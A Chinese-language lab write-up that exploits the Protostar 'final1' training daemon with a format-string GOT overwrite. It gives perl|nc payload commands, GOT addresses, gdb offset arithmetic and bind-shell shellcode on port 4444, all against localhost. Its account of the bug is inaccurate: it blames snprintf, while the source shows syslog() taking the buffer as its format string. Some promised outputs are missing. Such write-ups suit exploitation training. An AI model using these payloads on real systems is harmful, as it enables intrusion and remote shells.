windows与linux的不同点之一,是对导入函数的定位,
windows是通过导入表来实现的,由windows pe加载器动态填入IAT
而linux是通过PLT GOT ,在程序首次调用某个外部导入函数时,动态设置导入函数对应的GOT项
该GOT项是一个函数指针,同时可以被改写,所以可以达到劫持控制流的目的
存在漏洞的程序的源码如下:
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
经过分析发现,
logit()函数存在
格式化字符串漏洞。漏洞原因是直接将用户传入的username字符串作为参数传递给snprintf函数。代码位置如下:
strcpy(username, line+9);
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
漏洞利用要做的是:
1. 通过格式化字符串漏洞,覆盖GOT中syslog函数地址,并将syslog函数地址改为shellcode地址
2. 产生并定位shellcode地址。
攻击过程:
1. 在一个终端中查看
syslog函数记录的数据,命令如下:
tail -f /var/log/syslog | grep final1
2.
定位format string参数的位置(即AAAA的位置),以便覆盖
命令:perl -e 'print "username "."X"."AAAA"."BBBB"."CCCC"."DDDD"."%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x."."\nlogin B\n"' | nc localhost 2994
Syslog记录数据为:
所以AAAA为第15个参数。
3.
获得syslog函数GOT地址
4.
生成shellcode
5. 通过格式化字符串漏洞
覆盖GOT syslog函数地址
perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%15\$n"."%16\$n"."%17\$n"."%18\$n"."\nlogin B"."username X\nlogin "."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."\n"' | nc localhost 2994
程序崩溃掉。
6.
gdb加载core崩溃文件,找到shellcode地址
看到
shellcode地址为0xbffffa19
7.
计算偏差,计算格式化字符串时应该输出的字符数。将syslog函数GOT内容改为0xbffffa19。
(gdb) p 0x119 - 0x30
$1 = 233
(gdb) p 0x1fa - 0x119
$2 = 225
(gdb) p 0x2ff - 0x1fa
$3 = 261
(gdb) p 0x3bf - 0x2ff
$4 = 192
8.
输入命令,开启shell
perl -e 'print "username "."X"."\x1c\xa1\x04\x08"."\x1d\xa1\x04\x08"."\x1e\xa1\x04\x08"."\x1f\xa1\x04\x08"."%233x%15\$n"."%225x%16\$n"."%261x%17\$n"."%192x%18\$n"."\nlogin B"."username X\nlogin "."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."\n"' | nc localhost 2994
看到已经打开了4444端口监听
nc连接,如下
[课程]Android-CTF解题方法汇总!